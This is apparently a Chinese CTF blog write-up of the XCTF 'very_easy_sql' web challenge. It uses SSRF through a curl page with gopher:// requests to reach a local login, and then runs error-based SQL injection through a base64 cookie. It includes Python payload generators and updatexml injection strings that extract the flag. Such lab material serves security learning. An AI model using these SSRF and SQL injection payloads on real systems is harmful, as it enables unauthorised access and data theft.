当前位置: 首页 > news >正文

攻防世界 - Web - Level 3 | very_easy_sql

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本关考察的是 SSRF 漏洞,需要我们结合 Gopher 协议利用服务端进行越权 SQL 注入。考点不少,总结一下主要有以下几点:

  • SSRF 漏洞 —— Gopher 协议的使用

  • HTTP 请求包转换为 Gopher 请求包

  • SQL 注入 —— Cookie 注入

0x02:Write UP

进入靶场,是一个登录框,下面一行提示的字符 “you are not an inner user, so we can not let you have identify~” ,既然考点是 SQL 注入,我们尝试输入一些东西,看看能不能触发漏洞:

OK,没有任何提示,打开抓包工具,重放请求包,我们可以注意到如下两点:

一个是显示我们的 Cookie 被消除了,另外一个是一个 use.php 的页面,我们在靶场链接后拼接 /use.php 进入该页面:

“url you want to curl”,我们知道 curl 命令是用来对服务器发起请求的。联想到靶场首页的提示 “you are not an inner user, so we can not let you have identify~” —— 你不是内部用户,所以我们不能让你拥有身份。

我们大致可以确定攻击方向,利用 use.php 页面中的 curl 命令进行 SSRF 攻击,攻击的目标就是靶场首页的登录框。

确定了思路,下面就开始实施吧,这里需要拓展一个 Gopher 协议,协议的简介如下:

我们现在靶场首页的登录框中,随便输入一组用户名加密码,点击 Submit,并抓取 POST 请求包,我抓取的内容如下:

 POST / HTTP/1.1Host: 61.147.171.105:65176Content-Length: 20Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://61.147.171.105:65176Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://61.147.171.105:65176/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=78dp0ee6kimm21f8ik5eua4431Connection: closeuname=123&passwd=123

而我们构造 Gopher 请求包其实用不了这么多数据,精简后的请求包如下:

 POST / HTTP/1.1Host: 61.147.171.105:65176Content-Length: 20Content-Type: application/x-www-form-urlencodeduname=123&passwd=123

下面继续深入思考一下,我们是利用目标靶场的 use.php 页面发起的请求,所以对于 use.php 而言,靶场首页的登录框,对他而言其实应该是在本地的,所以我们这里的 HOST 需要改为 127.0.0.1:80

下面就是将更改后的请求包转换为 Gopher 协议的请求了,当然,同上,我们请求的目标 IP 地址和端口也是 127.0.0.1:80,转换的 Python 代码如下:

 import urllib.parsehost = "127.0.0.1:80"payload = "uname=123&passwd=123" # 请求包中的 payloadtemplate = """\POST / HTTP/1.1Host: {}Content-Length: {}Content-Type: application/x-www-form-urlencoded{}""".format(host, len(payload), payload)def gopher_data(string):""":param string: 待转换的请求包:return:"""encode_result = urllib.parse.quote(string)  # 进行 url 编码# 回车 \n -> url 编码后 -> %0A -> 将 %0A 替换为 %0D%0A; 数据包模板末尾有一个换行,就不用额外添加 %0D%0A 了return "gopher://{}/_{}".format(host, encode_result.replace("%0A","%0D%0A"))​print(gopher_data(template))

输出的 Payload 如下:

 gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2020%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3D123%26passwd%3D123%0D%0A

将 Payload 黏贴到 use.php 中,并点击 submit 可以看到我们成功请求了目标网页,并且还有返回信息:

这里我们将请求包中的 uname 和 passwd 替换为弱口令 admin,再次生成 Payload 后发起请求,可以看到如下内容:

 gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2024%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3Dadmin%26passwd%3Dadmin%0D%0A

OK,熟悉的 “this_is_your_cookie”,不同之前的 “delete”,这次请求算是成功了,我们将该 Cookie 的值复制一下,进行一下解码:

再联想一下 SQL 注入,注入点这不就出来了,既然注入点在 Cookie 这里,那携带 Payload 其实也不需要了(Payload 本来就是为了去后端查表,验证用户是否是正规用户的,Cookie 也有这个作用)。

所以,修改后的请求包模板如下:

 POST / HTTP/1.1Host: {}Content-Length: 0Content-Type: application/x-www-form-urlencodedCookie: this_is_your_cookie={}

相应的,生成攻击载荷的代码如下:

 
import base64import urllib.parsehost = "127.0.0.1:80"template = """\POST / HTTP/1.1Host: {}Content-Length: 0Content-Type: application/x-www-form-urlencodedCookie: this_is_your_cookie={}"""​def gopher_data(string):""":param string: 待转换的请求包:return:"""encode_result = urllib.parse.quote(string)  # 进行 url 编码# 回车 \n -> url 编码后 -> %0A -> 将 %0A 替换为 %0D%0A; 数据包模板末尾有一个换行,就不用额外添加 %0D%0A 了return "gopher://{}/_{}".format(host, encode_result.replace("%0A","%0D%0A"))def create_payload(payload):global templatepayload = base64.b64encode(payload.encode('utf-8')).decode('utf-8') # 对 Payload 进行 Base64 编码template = template.format("host",payload)return gopher_data(template)if __name__ == "__main__":payload = input("Input Payload: ")print(create_payload(payload))

利用此脚本,即可生成对应的 gopher 协议脚本,比如,我们测试用户名为 admin'

 Input Payload: admin'gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4n%0D%0A

探测出后端的 SQL 攻击模板为:

 admin') 攻击代码 #

而且既然它会报错,那我们直接使用报错注入即可,下面我就简单的写一下测试的 SQL 语句,具体的 Payload 拿上面的 Python 脚本即可生成:

 获取当前数据库中存在的表名:Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~emails,flag,referers,uagents,us' -> 提取关键信息: flag 表获取 flag 表中的字段名:Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~flag~'获取 flag 表中的 flag 字段的所有信息:Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~cyberpeace{a0e9c720fecbd276d9f6'获取 flag 剩余内容,使用 mid 进行截取:Input Payload: admin') and updatexml(1,concat(0x7e,(select mid(group_concat(flag),20,50) from flag),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~fecbd276d9f611e262249a87}~'拼接后的 flag:cyberpeace{a0e9c720fecbd276d9f611e262249a87}

0x03:参考链接

SSRF利用协议中的万金油——Gopher_dict协议-CSDN博客文章浏览阅读4.5k次,点赞7次,收藏38次。SSRF利用协议中的万金油——Gopher_dict协议https://blog.csdn.net/qq_50854662/article/details/129180268
SSRF防护绕过思路与Gopher利用浅析 - 先知社区先知社区,先知安全技术社区https://xz.aliyun.com/t/14086?time__1311=mqmx9DBG0QYxyDBqDTeeuut5LhENWYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

相关文章:

攻防世界 - Web - Level 3 | very_easy_sql

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客 0x01:考点速览 本关考察的是 SSRF 漏洞,需要我们结合 Gopher 协议利用服务端进行越权 SQL 注入。考点不少,总结一下主要有以下几点…...

使用Java Selenium修改打开页面窗口大小

在自动化测试过程中,有时需要模拟不同屏幕尺寸的用户行为,以确保网页在不同设备上的显示效果和用户体验。Selenium是一个强大的自动化测试工具,支持多种编程语言和浏览器,可以帮助我们实现这一需求。本文将详细介绍如何使用Java S…...

基于BiLSTM和随机森林回归模型的序列数据预测

本文以新冠疫情相关数据集为案例,进行新冠数量预测。(源码请留言或评论) 首先介绍相关理论概念: 序列数据特点 序列数据是人工智能和机器学习领域的重要研究对象,在多个应用领域展现出独特的特征。这种数据类型的核心特点是 元素之间的顺序至关重要 ,反映了数据内在的时…...

【Vim Masterclass 笔记04】S03L12:Vim 文本删除同步练习课 + S03L13:练习课点评

文章目录 L12 Exercise 03 - Deleting Text1 训练目标2 训练指引2.1 打开文件 practicedeleting.txt2.2 练习删除单个字符2.3 练习 motion:删除(Practice deleting motions)2.4 文本行的删除练习(Practice deleting lines&#xf…...

[AI] 深度学习的“黑箱”探索:从解释性到透明性

目录 1. 深度学习的“黑箱”问题:何为不可解释? 1.1 为什么“黑箱”问题存在? 2. 可解释性研究的现状 2.1 模型解释的方法 2.1.1 后置可解释性方法(Post-hoc Explanations) 2.1.2 内在可解释性方法(I…...

网络安全技能试题总结参考

对网络安全技能测试相关的试题进行了总结,供大家参考。 一、单选题 1.(单选题)以下属于汇聚层功能的是 A.拥有大量的接口,用于与最终用户计算机相连 B.接入安全控制 C.高速的包交换 D.复杂的路由策略 答案:D 2.(单选题)VLAN划分的方法,选择一个错误选项 A.基于端口…...

【翻译】优化加速像素着色器执行的方法

中文翻译 在回复我的 Twitter 私信时,我遇到了一个关于如何提高像素/片段着色器执行速度的问题。这是一个相当广泛的问题,具体取决于每个 GPU/平台和游戏内容的特性,但我在本帖中扩展了我“头脑风暴”式的回答,以便其他人也觉得有用。这不是一份详尽的清单,更像是一个高层…...

赛博周刊·2024年度工具精选(图片资源类)

1、EmojiSpark emoji表情包查找工具。 2、fluentui-emoji 微软开源的Fluent Emoji表情包。 3、开源Emoji库 一个开源的emoji库,目前拥有4000个emoji表情。 4、中国表情包大合集博物馆 一个专门收集中国表情包的项目,已收录5712张表情包,并…...

【深度学习基础之多尺度特征提取】多尺度图像增强(Multi-Scale Image Augmentation)是如何在深度学习网络中提取多尺度特征的?附代码

【深度学习基础之多尺度特征提取】多尺度图像增强(Multi-Scale Image Augmentation)是如何在深度学习网络中提取多尺度特征的?附代码 【深度学习基础之多尺度特征提取】多尺度图像增强(Multi-Scale Image Augmentation&#xff0…...

Spring Boot项目启动时显示MySQL连接数已满的错误

当Spring Boot项目启动时显示MySQL连接数已满的错误,这通常意味着应用程序尝试创建的数据库连接数超过了MySQL服务器配置的最大连接数限制。以下是一些解决此问题的步骤: 1. 检查MySQL服务器的最大连接数设置 首先,你需要检查MySQL服务器的…...

小程序多入口对应指定客服的实现方案:小程序如何实现接入指定客服人员?

小程序多入口对应指定客服的实现方案:小程序如何实现接入指定客服人员? 背景 小程序是否能接入指定客服? 近年来,小程序已经成为众多企业与用户交互的高效工具。无论是电商、服务预约还是在线咨询,客服功能的引入显…...

网页单机版五子棋小游戏项目练习-初学前端可用于练习~

今天给大家分享一个 前端练习的项目,技术使用的是 html css 和javascrpit 。希望能对于 刚刚学习前端的小伙伴一些帮助。 先看一下 实现的效果图 1. HTML(HyperText Markup Language) HTML 是构建网页的基础语言,它的主要作用是定…...

【玩转23种Java设计模式】行为型模式篇:命令模式

软件设计模式(Design pattern),又称设计模式,是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性、程序的重用性。 汇总目录链接&…...

【Spring MVC 常用注解】注解驱动开发的魔法

在 Spring MVC 中,注解可以说是开发者的“魔法棒”,通过简单的注解配置,开发者能够实现请求处理、参数绑定、响应返回等复杂功能,真正做到“少写代码多干活”。 我们接下来就来一起看看 Spring MVC 中常用的注解,它们的…...

jmeter分布式启动

https://www.cnblogs.com/qtclm/p/11082081.html 1、代理机:输入“ipconfig”,找到IP地址,在Jmeter/bin/jmeter.properties设置remote host 启动jmeter server 1、控制机:输入“ipconfig”,找到IP地址,在J…...

数据仓库中的指标体系模型介绍

数据仓库中的指标体系介绍 文章目录 数据仓库中的指标体系介绍前言什么是指标体系指标体系设计有哪些模型?1. 指标分层模型2. 维度模型3. 指标树模型4. KPI(关键绩效指标)模型5. 主题域模型6.平衡计分卡(BSC)模型7.数据指标框架模…...

混合合并两个pdf文件

混合两个pdf 1、在线免费交替和混合奇数和偶数PDF页面2、有什么软件把两个 PDF 交叉合并?3、pdfsam本地合并 如何Google翻译的原文和译文合并,(沉浸式翻译效果相对较好) 1、在线免费交替和混合奇数和偶数PDF页面 https://deftpd…...

aws(学习笔记第二十一课) 开发lambda应用程序

aws(学习笔记第二十一课) 开发lambda应用程序 学习内容: lambda的整体概念开发lambda应用程序 1. lambda的整体概念 借助AWS Lambda,无需预置或管理服务器即可运行代码。只需为使用的计算时间付费。借助 Lambda,可以为几乎任何类型的应用进…...

JavaWeb Servlet的getInitParameter、业务层、控制反转IOC和依赖注入DI

目录 1. Servlet的getInitParameter2. 业务层3. 控制反转IOC和依赖注入DI3.1 背景3.2 实现如下3.3 原理 1. Servlet的getInitParameter Servlet有两个getInitParameter 一个是servletContext.getInitParameter,获取context-param的全局参数一个是servletConfig.ge…...

免费开源跨平台SSH工具 WindTerm:媲美 xshell 的最佳平替(含详细使用教程)

免费开源跨平台SSH工具 WindTerm WindTerm概述免费开源、免费开源、免费开源下载、安装WindTerm 屏幕截图WindTerm 主窗口 (zsh):WindTerm 拆分视图:WindTerm DigeWhite 主题: WindTerm 基本设置使用WindTerm连接到服务…...

基于算法竞赛的c++编程(28)结构体的进阶应用

结构体的嵌套与复杂数据组织 在C中,结构体可以嵌套使用,形成更复杂的数据结构。例如,可以通过嵌套结构体描述多层级数据关系: struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis?2.为什么要使用redis作为mysql的缓存?3.什么是缓存雪崩、缓存穿透、缓存击穿?3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

Linux简单的操作

ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...

Matlab | matlab常用命令总结

常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...

MySQL用户和授权

开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务: test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

Mobile ALOHA全身模仿学习

一、题目 Mobile ALOHA:通过低成本全身远程操作学习双手移动操作 传统模仿学习(Imitation Learning)缺点:聚焦与桌面操作,缺乏通用任务所需的移动性和灵活性 本论文优点:(1)在ALOHA…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...

C++.OpenGL (20/64)混合(Blending)

混合(Blending) 透明效果核心原理 #mermaid-svg-SWG0UzVfJms7Sm3e {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-icon{fill:#552222;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-text{fill…...

C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)

名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...

【Linux手册】探秘系统世界:从用户交互到硬件底层的全链路工作之旅

目录 前言 操作系统与驱动程序 是什么,为什么 怎么做 system call 用户操作接口 总结 前言 日常生活中,我们在使用电子设备时,我们所输入执行的每一条指令最终大多都会作用到硬件上,比如下载一款软件最终会下载到硬盘上&am…...